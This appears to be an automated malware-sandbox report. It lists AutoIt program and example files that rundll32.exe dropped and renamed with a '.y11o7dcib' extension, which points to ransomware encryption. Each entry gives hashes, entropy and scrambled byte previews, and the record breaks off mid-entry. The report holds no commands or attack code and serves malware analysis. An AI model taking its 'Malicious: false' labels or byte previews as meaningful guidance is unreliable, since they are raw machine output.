Preview:	....!wL.....[.j....i...I..v.1m.....d.oM.,.r.....s[...T'......e........!..L.!This program cannot be run in DOS mode....$.......PE..L..._.(c.........." ..0..\|..........v.... ........... .........."wL.....oj.=I.i....#.v.1-w....t.oM.<.r.....s[...T'...f..e$...O.......(...............`&.......................................................... ............... ..H............text......."WL....mj.=..i......v.1m.7...d.oe.,.r.....s[.c.T'...f..e....@..@.reloc..............................@..B................X.......H........2...e..................l..........................."wL.....oj.s..h...!..v..E......L.nM...Z.....[X...~y9..f..m..(......(.....0../........s.....(Z...,...o....(....+...o....(.....o....V(Z...,..(.....(.....(Z...,...........(...............)wL.....ol43..m/......v.7G.....j.G@.,.X.....t[...T&...h.j....(Z...,.........o....(....+.........o....(.....o.....0..8.........s.....(Z...,.......o....(....+.......o....(.....o....*.0......#wL.....o`...i,......x.?h.....n.{

C:\Program Files (x86)\autoit3\AutoItX\AutoItX3.Assembly.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	49832
Entropy (8bit):	6.218525413432159
Encrypted:	false
SSDEEP:	768:PRsvX0B/GSeB8N1uN543Wt0oJ5b8enn7xtJUWPJ5v:PRsvX0NeBUuN54i0o7Hn1HHPJ5v
MD5:	4CCD991194EA972A298D37F814100C88
SHA1:	C3262CF5D1E2EEDB980B9B3CCB925B7415515215
SHA-256:	C968201084668DAE0E3C0DD09D3DCA5E929F99580752E4ECB289BD4D648030E3
SHA-512:	9C34A69A4FED79F89CDDB2209438DE5C1DE43B3BF50C2D79F03D46EDA7FC755DD5938EB2DD6E020343D8613ED7B7209DD9628F64DBEEE1880487A16B6FB30392
Malicious:	false
Preview:	.[MS.':.D..L+n@dP...'.2.A..t...K.TS."g\...\......_.?....Gr..vItX3.Assembly</name>.. </assembly>.. <members>.. <member name="T:AutoIt.AutoItX_DLLImport">.. <summary>..D...'l..^..e..0^...v.L..-........@.2nP......U.....k.....G..mX3.dll... </summary>.. </member>.. <member name="T:AutoIt.AutoItX">.. <summary>.. .0][.F9.Y7.{e...^...i.]....+.....HF.4"_.......T.....,...t9..9 </summary>.. </member>.. <member name="F:AutoIt.AutoItX.INTDEFAULT">.. <summary>.. ..S_.k8.@..V s.:...v.]....>.......F.#q.R......U....k.....^..k)... </summary>.. </member>.. <member name="F:AutoIt.AutoItX.SW_HIDE">.. <summary>.. .D....l..^..esBu^..j.U.D..t...K.H..q>........,..._.?.....^..k name="F:AutoIt.AutoItX.SW_SHOWNORMAL">.. <summary>.. .. </summary>.. </member>.. .XX[.e)....N n@.D...v.L.d..%....8.7\|..Op

C:\Program Files (x86)\autoit3\AutoItX\AutoItX3.PowerShell.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	53658
Entropy (8bit):	6.918875886671008
Encrypted:	false
SSDEEP:	1536:db86AJJ7fXy98ltTLDqUs3IQ7C9atHzo/X:Z86W7fiA3DqfXgatHzo/X
MD5:	2E224E7915E48DB3EF96C73B36199FAD
SHA1:	79B795A7595952C1AF38E780E8B60D2D1807C3A0
SHA-256:	99BABB879B08090209F9A0F5F40183173B78F3534E5AFF279858D996B53A2107
SHA-512:	C54EB18CABAE31622A6833B20048672B99141CB8128C2B959BA6EF3A80CFDCF927FF50BDE9A5993FEAC0EB95731D242E07B3FCF1838BD2D21298DE6B923E04E1
Malicious:	false
Preview:	..A..Q...M..o.X....GY.+.......I..1.s....!.vywe.0....R...W..>.........!..L.!This program cannot be run in DOS mode....$.......PE..L...c.(c.........." ..0.............R.... ........... ...........Q...M..AX.....G[.+.N.......!.s....!.vyge.0....R...W..>.....O.......8...............`&.......................................................... ............... ..H............text....5...q......CX.....GY.+O......)Q.Br.....%.vy.e.0....R...W..>.....@..@.reloc..............................@..B................4.......H........J...q..................H............................Q...M..AX.....GY..m......MU.3{q......u.ue.4...R...U..:.....f.~....}......}.....(......{...."..}......{...."..}......{...."..}.......{.....{.....{....(..........(....:..}.........{..K..kz.....G].5M......k}.L.s....#.~ywa........V...,..>."..}......{...."..}......{...."..}.......{.....{.....{.....{.....{.....{....(..........(....f.r...p}......}.....(....*J.(....I...Z..AR.....GY..Q......c].2}....

C:\Program Files (x86)\autoit3\AutoItX\AutoItX3.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	726954
Entropy (8bit):	7.300910147758559
Encrypted:	false
SSDEEP:	12288:za6cb3Krn5BMX8SjhZImV8E5Tv39p5X/IkKpzC4mDXCNJT995jC:zIMn5KX8SDbmcMo9DmJTxjC
MD5:	8D6A520595095EA723BA6D031C8DB4DC
SHA1:	9654F1CFA4926C4B5FD5181E0742BC3D197893AC
SHA-256:	AC4348AC2AFA1229C3E32164397EE465DA099C74CAAE448AE77AE7E3A6DFC0E7
SHA-512:	F1496158DC8F010F0363A898562A543BFF9AF4886FDD55531B3E8E76DBCF479D4BC26D16B2BFC68BAF233D691234115847A03DB86DCE37887C3ABEF514EC6203
Malicious:	false
Preview:	5..w...9wN`...6r.).H..Kv..pDC.d.....%0..}....8.5-.N..-))..........!..L.!This program cannot be run in DOS mode....$........<.q.]o".]o".]o"...".]o"..."-]o"...".]o"5..".]o".5k#.]o".5l#.]o"..@..C..U..U.......!..'.-..8.,+a.P..~...>..^=.....i...!.kp......4m#.]o"Rich.]o"................PE..L...P.(c.........."!.....~...........s.......................................0......Rh......x.j.t...9:w....6r.9.H..z\|..}DC.[.....%0..}...8.5-.N...#)P.......J......p...........................@...@............................................text...8z.......\|.................. ..`V.X.....9w....4r.)xO..Kv..pDC.d.....E......I..5-uI...+) c..............@..@.data....)...`.......@..............@....rsrc...pL.......N...V..............@..@.reloc...J.......L..............x..4....9w....6r.).H..Kv..pDC.d.....%0..}....8.5-.N..-)) .................................................................................................................................x..t...9w....6r.).H..Kv..pDC.d.....%

C:\Program Files (x86)\autoit3\AutoItX\AutoItX3_DLL.h.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	13307
Entropy (8bit):	6.90784582638387
Encrypted:	false
SSDEEP:	192:0OdLgp8XjuVZS78z089nWPY1gjRI0a08BL2ZNdq4Ted7r15hVQP1glS:0OdA8XaVZS6ZnWP4Qm0apgq4Ti7rtGNn
MD5:	BD8946778961877A4C95197420ED892C
SHA1:	D1607D919836FF24C5DAE231E71BDA51D5B2DF90
SHA-256:	CABA1D75934FE50BC5895B4E3A0772A4E49ADAFF9BEAC05542544BAA729065DA
SHA-512:	94A8F66145F084860E834B41592F7AD52F3E6B9E86E5520B53846B392CF9FEA899E0F50201C13379AD5E440D525BC4F058480C56E1FE6E7BAC552798163D48D9
Malicious:	false
Preview:	....n.nV. .....Z.m.B.J...E.1.AI......g..P.".......d.[...-H..///////////////////////////////..//..// AutoItX v3..//..// Copyright (C)1999-2013:..//..- Jonathan Bennett <jon at autoitscript ..j.bH.D\...p.'.M.$..J8~0.....D....'....o.P......d.y...V.U. file is part of AutoItX. Use of this file and the AutoItX DLL is subject..// to the terms of the AutoItX license details of wh..j.aV.+S....4.+.M.....`.]x.....(...g..(.h.......?.....Cm.H.3.dll as a standard DLL this file contains the definitions,..// and function declarations required to use the DLL and AutoItX3_D....`./.."......H.B.J...E.1.AI......g..P.".......d.[...-H../////////////////////////////////......#ifdef __cplusplus...#define AU3_API extern "C"..#else...#define AU3_API..#endif......// ...g.{.. .....5.+...$...L$yZ.('.v...e..K.9.......d.V...Vw.H. value for _some_ int parameters (largest negative number)....//..// nBufSize..// When used for specifying the size of a resulti....}.f..n.....".6...E.q.H>.....P.....

C:\Program Files (x86)\autoit3\AutoItX\AutoItX3_DLL.lib.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	29290
Entropy (8bit):	6.615341029645132
Encrypted:	false
SSDEEP:	384:7ULgnLVq1snaQncnLQeh+z2RdOuuLgniacjnQMYRPOIe5Tds8G/Ejq3gnknG/nE6:7Uuw9Tas8+Or3UivpfhH0mVOhe4aDT
MD5:	1C263E3130B2BD0CB00E1818A3FAF50B
SHA1:	1EEB83CAB20AE61E2D1CBA18938C9DF85C0484C0
SHA-256:	85978ECA22311F3380462BEA4DEBB802FF266D54ED61BCCA78E4A29E37CE93CB
SHA-512:	5C3A8EBBD4D2910A31BE356548EEC1549827F51E4202564270551919B98702543543E500062EEF7DF220649FCBD08EE67B4F0080BA3310F102338EC8C1BED3D7
Malicious:	false
Preview:	..6.....'..........Ad..w..?>..?3.d..D../9.$...*H2z{..M0.. `.......7f..9...:...p...p...M...M...< ..< ..<...<...=...=...=l..=l..=...=...>X..>X..>...>...F...F...G8..G8..?H..?H..?...?...@8..\|.t.n...Z....... .)/._.9]...].5D.:d..i..........+nMKa.m.j;..C...Dl..Dl..D...D...E\..E\..E...E...FJ..FJ..G...G...H(..H(..H...H...I...I...I...I...J...J...J~..J~..J...J...Kh..Kh..K...K...L\....t.....8......./^)/..9Q...Q.5D.Dd......n......'.MKmdm.y...PL..P...P...Q,..Q,..Q...Q...R...R...Rp..Rp..R...R...ST..ST..S...S...T8..T8..T...T...U"..U"..U...U...V...V...Vr..Vr..V...V...WN....t.~...J........9.)/.S.9G.G.5D..d.........a..2rMKx.m.s...Z...[H..[H..[...[...\,..\,..\...\...]...]...]~..]~..]...]...^h..^h..^...^..._\.._\.._..._...`P..`P..`...`...a:..a:..a...a...b ..d.t.P...d........8)/4..9\|.\|.5D..d.........O...\MKG.m.L...e...f4..f4..f...f...g ..g ..g...g...h...h...h...h...h...h...ip..ip..i...i...jZ..jZ..j...j...kD..kD..k...k...l...l...l...l...m...\.t...........b....)/:=.9q...q.5D..

C:\Program Files (x86)\autoit3\AutoItX\AutoItX3_x64.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	921002
Entropy (8bit):	7.140741961714855
Encrypted:	false
SSDEEP:	24576:P2am6Evicxih2p6eTpBEfM1O2vCGAgGr6c5aTZ/:P7uJxih2p6QOMCGAfWc5at/
MD5:	D59136E0098CCA500D98C5AF4819A758
SHA1:	9E5C3C4DBD030121C4E6960ADE5B29C36921E5A5
SHA-256:	F3F647B03F02C2E4561D25E87D36E6F4F9112A785F87144039CD9CD56695CAE2
SHA-512:	B3E884DDC5A630D997A501735E69B348E47F300D32B3C8E92BCAEE9CFAE28D3BB24BBF7DE162E96B28182A6F88DD202390BB4C24228D14F8755458FD410C0D9C
Malicious:	false
Preview:	Q.......ehL.t.....)..Nj...J.....P.0.z.`...1E.....[v.~#....p.f.........!..L.!This program cannot be run in DOS mode....$........>a.._..._..._..$...._..$...._..$...._......._...7..._...7..._...v.cM.. .O.S.$.^ ..U.A.$[.....v.f..A%.8...........!,.=WWX.WiS56..._..Rich._..........PE..d...Z.(c.........." .....X...........c.......................................P............ ...@......Q......ah\..{....)..Nj...J....W..0.w.`.d.1i.....Vv\|2#..h..{f.....p&...0.......:..p...................0<..(...0;..................P............................text....T.......V...............A.....O.>..{....).Gj...J..P.0.z.`...1e....?.x.#....h.o......\..............@..@.data....8... ......................@....pdata...s...`...t..................@..@.rsrc...pL.......N.......A......ahL..{..pE..Nj...J.....B.0...`...1E.....[vL~#....h.f..................................................................................................................................A......ahL..{....)..Nj...J.....P.0.z.`

C:\Program Files (x86)\autoit3\AutoItX\AutoItX3_x64_DLL.lib.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	27860
Entropy (8bit):	6.4417053145525225
Encrypted:	false
SSDEEP:	384:uqfp/XrYBD0cbAdzSojYyg0t/tkfdgMVsgVp65m3A3kRe:uqpbYVArYyPgP640
MD5:	993BE02DDC8190A1D650A20589E32288
SHA1:	844730DFA2597FD772292FDF18C947EC58EF8C94
SHA-256:	BF2495B7CAE526787F885D32E011A9576E43F505ACC2999BF3F4AE58D6567247
SHA-512:	ED76158FC651E249B52D54ABFB9CF7644A94539F8E55117D3CBB5D6BEDA645B8B762911FEEA817A1F7239D4E53B395E70B32DE30DF94B53902F26906B55CDDB1
Malicious:	false
Preview:	...j.......sz.>EX..."\|v.8.]T..9.4^..b.g.Ajl.......@Q......[Om `.......1`..3...4...k...k...G...G...6>..6>..6...6...7"..7"..7...7...8...8...8\|..8\|..8...8...@...@...A`..A`..9l..9l..9...9...:\.......p...>SZ...^46...QG...}H.8..,~...%G..JL..$....`L-....,{QS..>...>...>...?...?...?...?...?...?...@p..@p..A...A...BP..BP..B...B...C<..C<..C...C...D..D..D...D...E...E...E...E...F...F...F.......X....SZ...".6..DQG.^.}<M8..~.cf%G.EJL.R$.~..`;...h4,{%1..J\|..J...J...K^..K^..K...K...L<..L<..L...L...M...M...M...M...N...N...Nr..Nr..N...N...O^..O^..O...O...PF..PF..P...P...Q...Q...Q.......Z..h.SZ...7.6...QG..}'.8..~.y.%G..JL..$.c..`%/..v.,{:_..U...U...U...U...U...Vt..Vt..V...V...WX..WX..W...W...X@..X@..X...X...Y..Y..Y...Y...Z...Z...Z...Z...[...[...[...[...[...[...\n......B..e.SZ...8&6...QG..}.8..^~.t.%G..JL..$.h..`.+..}.,{.S..`...`...`...a...a...az..az..a...a...bn..bn..b...b...cT..cT..c...c...d<..d<..d...d...e(..e(..e...e...f...f...f...f...g...g...gz......x..Q6SZ.f....6..^QG.D.}..8..Z~.C.

C:\Program Files (x86)\autoit3\Examples\_ReadMe_.txt.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	521
Entropy (8bit):	6.829954439787817
Encrypted:	false
SSDEEP:	6:7BL4cwbTScxa2JQHzuuCbFyP5HthUtCO/aNCkmgXeN4Tv/oU2ERC3rcOkVp3XFQ7:7fSeuauQHzQbcxMYnJmq/oqRC3xJYS
MD5:	C9E3FCEC0EDA848931F70A97AF8FDB32
SHA1:	D63002D4B0485C173A32CE420E10C36FB21B8C90
SHA-256:	9AC14167DD9EF18149CC9441707A29DE08D63E4AD501E6614348AE32A4347E0A
SHA-512:	14B98638A044EE30666DCB974FFCA48CF875701F4A3EB07F01640AC407307D582B59C53019A4D73427EE23AD10B7E7626690C21A22D340446414B6A6E04191C1
Malicious:	false
Preview:	q..n....=...U.z.......d...<!S..##_..B..\|...5......4RV{.xUgh.Z..g.>..=....D.l......o...!i..."pR........8..R...>.@x.v.'..W..+.Z.^....H.z......b...=o..."#N...V..f...4......).Vg.e.vt..ns.....- Jon..........C5.?&..j..~t.\|_.KN.x.......#..E..V.)_W.....L....1R.].._..7..7....0.s..B..&.(JW.L.........gx.......#m..4..43.-........9k...Lv.Z...2r.o....}.,...\|.L/LB.. .lV;!`W...../...mCS.5.......c:...r../.................................................................................................29yp10v5m8k.

C:\Program Files (x86)\autoit3\Examples\calculator.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2181
Entropy (8bit):	7.710271218724695
Encrypted:	false
SSDEEP:	48:BjJx/9zlU4sU3or+tw29ZfT8DcU72bMq29iLoxS:BjJx/9y4VomwoAzG2oWS
MD5:	4B279A93B8179EC603FB5130F6678311
SHA1:	C49D7F8C8A6AC6B6D45F0FE3DE429D68ACDCE777
SHA-256:	08699B5A0C81BF215E1686787733F739186A2E01F955F7DFDD3D8801E211311E
SHA-512:	AD32C645EE2FBE88F6E9FF67A31E20157F3664E9A34D53E61B10DF48CC874E94E0EA89922882CCCC999B0E6D3D48DCD179CA504C41654612A762EA7D8BA41DE4
Malicious:	false
Preview:	.p..O..$u.....Y.Mf..VoAo....C.:...a.9..F.r...s...S3...7B...h-.X..L..a......C..!.:.Iq.E.X.1....}.j..l.V...o....^'..{O"..B6.9.J.]9z.....Vf..E Rq......v....)Z+..k._..xs....'.uH;....uYp.....5u...'.._..^\|.4......v..4B%....T..c`......f..sH"....{&...).D.6....k.Mq..XtH\......:...[>..].T..mk.....]4....B...=SSx..O.LhX..... ..2..Ys.9...'.\...}m...D.]..%.....f..{P?....s.l..Q...u....E..a..^j.q..^.H.7....r\|%.[.\..,p.....Z#..x\(....wF\|..Q..$!.......Pw..Cr.q.G...?....2@j..[....xf...8f..4q ...B2BX..T..ah.....B..P..xHZu.t.h.......p...z.t..CC........{t;....{[u....F.=...._.Sf..^v.q.E.Y.3...>G&..F....h'.....[(..4Eo..B..a...../1.......V{...:6>..D...7....2.8....E.%.....f..WU...~N9..F.C2u....._.W}.._.R!.F.Y.~...)Z/.L.A..ek.........VR7....cYw.B..$&........2...8<>..\.^.5...8Vj..`....1'....W(..lT;....6Na..S..a3.....B.....:;7..B.C.!....}....f.e..b.....f..YN(...J2f[..z.0..........S..XS.s....f.v..\|.c.......,'....@(..4.o...._M...).Dau.......Kw..Vv.$._._.\....G$..

C:\Program Files (x86)\autoit3\Examples\count-do.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1617
Entropy (8bit):	7.6537272430808985
Encrypted:	false
SSDEEP:	48:A/eM6NMtImi0Vpij3ukxcQLJmR1opU+QxF1jm0kPSvbTMS:A/hfhiwpmPxcE/UD1PkPSPMS
MD5:	AA020D265F3BB679AD71F934DD416B3D
SHA1:	E843ED612E539346A5A7B035103C4F3BB336D3D8
SHA-256:	7B074DD81F6FCC012DE50DB847EF87035B71BA7C443066A32052AA36274A8CF2
SHA-512:	4BD998EFCA03D3DEDE6A5F8B76F16522ABA63FFF9043AA42E46247A2C84D6C13254740061F6C52CE28D965CB4AD0C0D9EABEAC05DDBEE7F1D6407ACCBD498D37
Malicious:	false
Preview:	U.......8.Q.."...w:w.!^i..K...DTj,!....K\N...]...gmx]...4.+L....E..;.Q..F...z.0.C&...f,.%.I....5?.......xWvx1.K..u.......E..9.V..d..6.0.M!..@2...lQjc....U.,...#..c.?=u.K..u.nV....h..]....>..6.1.O ..G\|..%.>......^LZ.......mM7x3....9.!.........;...F..T <...&.z._..HlQ.)....?MAN..+..g.:=3.K..<.'.....h..>./.l...<,.Hui.$LJ..f.A.......,..N..e.&,1.... .+..........2.Q..%.;o1.It..p#...j.n1....QAI......f.1xa...0.+...........G..8.~(..2..Lfj..%Lq1......QYR...g..i.:x5..".<V.........>.m..h..O...cxD.d.S..Vu[.%...W........(.9\|....y.l"........w.K..l..x;d.CtQ.\5e..%@>d,....WE.......e.v/p....:.<......L..]....$..6;,..!..[a...kRi&......PP......E%=t...u.+......E..w.Q..#...s;1.Bt..E3i...+.xH...0W....N..c.==u.C.....V........2.K..8.s7%.\8..O3b..lNpNb....ZQtO.....*I.._.K.0.C\|...........}.....[...`xD.h3x..q.[;...\.....N..s.wz8.a....:........Z./.w...bo0.It..\(x..%UqcY....[TM...-..d.ve1.f.._.uV.......2.N..<...x;-..t..Lfo..kU{1H.

C:\Program Files (x86)\autoit3\Examples\count-for.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1400
Entropy (8bit):	7.573530025565457
Encrypted:	false
SSDEEP:	24:c/juLFhsLrtwYoqewdSDkeZQei2fc4ObnSCRkHLSAl8+6Xv91XZS:UjZfzewekp32EFLrkrSAlNClS
MD5:	E9201A67856826981EBFD7B625E6531F
SHA1:	82BFD943CAD3422856D5E47C8ABC247F882B009C
SHA-256:	9AD5DA584FC38AC827D1B65BF3C043846321E04272EFCDCD94490661A0D67644
SHA-512:	62AD4FABA4E32B4A97E6197760EA2E4E3394C8FE551549852E8FDAB5858778FFF19F5BF5CB7A07B72B26ACF80700EA0EB95622FD283A5A1CD2C6CB88A9B92014
Malicious:	false
Preview:	.[M[...e..q.;.\).s...'i..R.....h[7.].c-...Q..F4.B....uQ.a.U.\1....... .KU.<.@E.<Y..3..l....s[V.~.D`..../...O.....+.u=./..T...\BL. .@\.0.\h.m..3..b-..G.0...]JN6...O.."5.<...wB0y./..T.t._oQ....?.n.{+.n..../.`,..@..Y@V..)E,...V.........1Ju?.`..TW;.B.2..E.D_.9..a..4...5.+\|..q../3.d%n.....c..GG.Q...\|[9x.#..2R:.AK]...)./w.<.%B.'?..;).f<..$.......5o!....G..%..J..~F%i.{.ETN'.@.L..u..F.0.[+.n....z.p=.... T8...X6...U..@......}J2=.n.A.^ .@.K...a....}.M-.s..:?.sx..B..5...D.X<....C..['.{...rJ9=.f.N.L1......B.]..<.g..#4.....M.......(/.}/g........O.....1n-\|...EV.t.fKQ..c.LB.u.A$.'...<..w7....:...HJ......N..X .Q...hD =.n.TTO;.@VV...?..?.X.!s.D...9z.k=..].t.V.G.]<......M......e.}n.j.T.^t.WOH...l..T.'.e;.E... ?.v.X.&...$`#b.............}B6v.k..Pr..}..... .MW.u.P!.'...r?.b5..K..&...@.DT......i`.....,.qT.A.. S1.?)1...g.JJ.q.j..^.....G......&...]Jo!....G...,.:..SR0<.&.}2..FVJ.....KV.3."E..B..*?.v,.Z.s...YJ.y..Q..!H.....RD s./..E.....5...;.u@.;..<.bY..'4..R..c......'h..

C:\Program Files (x86)\autoit3\Examples\count-while.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1609
Entropy (8bit):	7.6533138239177765
Encrypted:	false
SSDEEP:	48:lzLzxqy3U+Ni+P/22KJsYlrsMyeXQVTSYVqmc5mdS:9LNqY322K+I4eCpVVWcS
MD5:	DAAA61E3F3443E79EB6FCD9449B59705
SHA1:	A6847B15F9405209610562639BE911F145567D44
SHA-256:	9852181FD71ABEC9427867ECCE58E7E38BB7B6F00C52168BD8F5D53BD210B77E
SHA-512:	E0A8F9C3DBF8F0AA2D8BBBEC792606409311E2D92680EB48E4FD3708569CF3F31A4EBA1C15995D6D5C94CD50F4416A2E6A8D136B97B35439B4D90A8E33B0E57D
Malicious:	false
Preview:	.+7..)i.1`.i.u......P..#...WF..Wk....D.Pgi..5.~....0).....'..by..m,.cD.n.i.J....D..[..4}]...H....=.v.....`.8U.5.0E.....`..,8..#,.hM.b.u.h....D...\...`....Rk...2.My)..5.?^.i.u......`../...&..6..<.R.2..c..]....Pw...?...f..`o..`.9T./.0G.....b..-6..@..H[.j.m.h....V..Q...V....vZ....S..4"...z.$..w.}......b..,0...)-.$..B.h.M....L..A....Wp..Wq...j.Odl.....Y.._........%..1<...",.xM.s.d.3...Q..\...u}$...Q....}.R` ...}.$R./.\|......!..6<...(x.lW.3.).%...@...E...}1...Mm...w.Fqt..f.]0.C.s.........'+.....OL./.h......g...z...4y0..qF..._.fUL..7.%N.F.0 .....%..b{..>,.nQ.w.!.)....J......!}...Lx....E.Kxe...z. ../..E....!..b-...8b.dW.%...M...f..B..q}...P8...a.Gf ..a.5..}.}......%..*<...!\|.kJ.b.g.2...g..[...f3]..Nj.......4I..[.r..n.0......$..f....m1.:..s.d.`..........y-..Dj...}./.....1..T.x.bE........1..G..@P.E.y.d...\|..d...U.Q..cj....2.Zum..7.p..D.0E.....i..KP...8~..).B.e.&...,...L...\|8]..Wq......n{c..1..U.a.0X...J..b...8x.-W.b.m./...M.....q}...Lk....

C:\Program Files (x86)\autoit3\Examples\functions.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	7.637748239571932
Encrypted:	false
SSDEEP:	48:teIKc9FSYPB+//8lHm9UzeDNPlUgOdF1/rbS:t55h+gADNP2gYF1/rbS
MD5:	4F5BC177C608080A9438E22427A12854
SHA1:	0EB34C0E514B75FE775A6941F4DFC6170BF264BE
SHA-256:	8B69EDC589199FD264B504C9089B7ACB6E7F0CDFD898E05FD217E1F64EEE1F87
SHA-512:	F3581EACB4A0416EF768272B655CBAA2D018733DEC823D6AB1A50B4933D1E77596966EBC4392FDF876E09E60F06164C9436DAEEA0E4D8EA7D1BEE6EB27E9FC46
Malicious:	false
Preview:	V..(.\|xG.}..j^R..3H.`.?.)....B....JA&ED.@.D.u.%}.Cuv..u....\|O..k.)<../..m^N..\|.hm.x.K..!.o...m...m.~<o'>j....b;..snv..;....S...?.hr..$..aYR..-TV!.x.E..t.;..$..gZr3B.^I&.t.[<../'3..;....9U..".fw/.z.?.u...KL!.y.G..t.u..m..fXi3N...X.!.65..:?.h.....x...hqR.$..'k...T@).A.{.H........#.GfU.z...7.{#..kbv..r....\|...b..YZ.5.?.`...HPd.-....].!.....sYc;.~9i....y>..i:>..n...m..>.)hJ.a..vDV.j.Mr.,...h.....?...w.qzU...C.o.z2..9/$.~...j....)(..2..$YN./^Tq.j.H..}.=..?..fAgzM..m!...u2..m'..l..98....q4`.5..,.k...~kO. ...D.......By/?.Qr._...6...$>:..7....p..(.`lV.6..h.E..+.Y!.c.T.;.)..,.f.`fO.G.D.<.6s..i79..l...m..>.)uV.c.. ,..gxPd.g.P..;.<...>...pBca..\@_..f!..9:v..~...\|U..'.)zK.$..k_... yWy.~.P..u.9...(....<=3h..Be.m.a2.."?.~...P1..k.)+..5..j.C..3.Li.,.\.k.*..#...l[..(:U@....e$..isv.._...q...A..QQ....,.k...bkU.A.k.W.o..9.!.&1n8.@..6.7q.CG_.o.....\|../.o.(.K.$.S...^Ku.y.G..........2./.+~9i....xs..::..x....M.....g...s...'c...NVb.,....%....=...8.

C:\Program Files (x86)\autoit3\Examples\inputbox.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2142
Entropy (8bit):	7.746011847033126
Encrypted:	false
SSDEEP:	48:bRPl1K+J9cFZBzX1Ys/dW00O8k0pGBj+0v4Sw55W2ygEeS:BKIu1Yr0XHByAQI2jEeS
MD5:	2C616B8B391065B8B2A3B8EC66281981
SHA1:	21F2AB7052C6B31D01765D7A8C12131D51357A3E
SHA-256:	A8FDB33E57F0EF14F41FD6864DB083DE42BB3D5A7EC41E6B66B010CB423D707A
SHA-512:	186F9DB8B395E116B762C11314D5025A311F494763F37E4BEFE8A24882B76F4C9DA8168BEF29C14385C6AD31C557AFC653D0493A0D415737D67EF9007A7713CB
Malicious:	false
Preview:	.......li...3.\|..S.t...m..7..O.^`..g..+.L...F.....r....@.j...TX....Hj..._.3.l^.3..........}f!.?w.../.....9..i..O.....E........Ah...r.b.R..3.....N...g.^/+.3x.6.....F.>.. .U...../........."...+1.a.H..2...........K.(6.-.D..F.9..'......c........r..X'.m.ST........7.... P..&5.5.....#.8...r....I.k...yr....pC...".m..?.N......J...f..z<.5x.6.W...4...;.....T.j...-...._t...&...HZ.3......]...\|.Gj;.5x.<...R.y...i.....M./...X....@t...7.i.PA.J......V...O.Yx.ge...B..N.8..a..-..r.@...9:....jK..<..!....2....B...b..'.. 4.......s.........S.........A&..X;.x.H..(.....]...w._/;.g,.).......<..,.A...N.v..........t..X;.7..?.J...@.._...z.O/:.".*.D.....q..=.O...L.{..........Gc..X4.d..T.5......B...z.Xao.&4.<.....]........O...c........aI..Xe.(.TW.g.....R...v.G.#.g>.7.Q...k.X...m.....S.2...06...A...q..o.SJ.c..3..n...A.kCc.e..-.l..F.....i.....,..........jh..._...5.....@..U.....D{&.g,.<.P..F.8..i....E.-.........\q..Vr.`.O..4....[...}.D\|&..

C:\Program Files (x86)\autoit3\Examples\msgbox.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	773
Entropy (8bit):	7.168993117969983
Encrypted:	false
SSDEEP:	12:n+Cie38IMc/gjMinsFe/HeJeI8wbborIkH0/xOLkLnh0EE5M6jnGe+Kpbjgc1zI5:nFMIK+k0ZOLkboB4KWIzXS
MD5:	20ADB9273A490D30844F512C64D6D533
SHA1:	CD0823ABED5A335D8EBF51B955E158068338FD07
SHA-256:	BD7864B483E311D953C19ADA097A10C7FBA7D3993510C2D1E756C1F57891CA48
SHA-512:	414DF156BBBF7F20D27AF515BBCB003B421BFE3134363C559356A5A6403F33B29D6004A76E2A3745489DC62747DFE63493E19A02AF4ECC3C997190F9EDF858C0
Malicious:	false
Preview:	x!...j.......m!.F0...C.._...uz~.L......s..+.....<...".....ah...?......m=."......I.'..._a~..6....X.T........C...lH...&4&...~......j!......... .....",.I.....u.4.I.....b....l.....2'........qu.Nd....... .....$~.P.....6.y.!.....S....Ab...L.;...w.....>8.K6...PL.0.....a0.N......x.8............?H....7)..p......><..2....}%.&....We..f2....[.........^...-....Nwh...v......p0..f....3}.....+)7......s.k.d......w.....$.... line 3")....u......A/2.....1...l.b.o.9...q.o..B...........[.. .dy.=....J.....A....Y..I.hOh4$*...S.m.K)..A...W..B....>C.P...>f...$v......s.Y.0.w%K.."...C...<..ER..7y.i.-6K.I...MC..7.s...x.".Q$Zp:.]./6nT..>....=.............................................................................................29yp10v5m8k.

C:\Program Files (x86)\autoit3\Examples\notepad1.au3.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2152
Entropy (8bit):	7.704030690210119
Encrypted:	false
SSDEEP:	48:KJPXfVRI6JbjPr5q85XYLhFOuI/4rDvIqYBizQA9BliGCS:KJPvVRpzr5q8FYLhrDvIRizQAJirS
MD5:	C824438567D53601182902B4C3C586DE
SHA1:	3DB7AB9D15CACD0EA565BA1476B5248EC837C15D
SHA-256:	2DFF93DA4BE2E85E2A937E606D6666C0486E5AB90F1D3FE1853345232DC5E65F
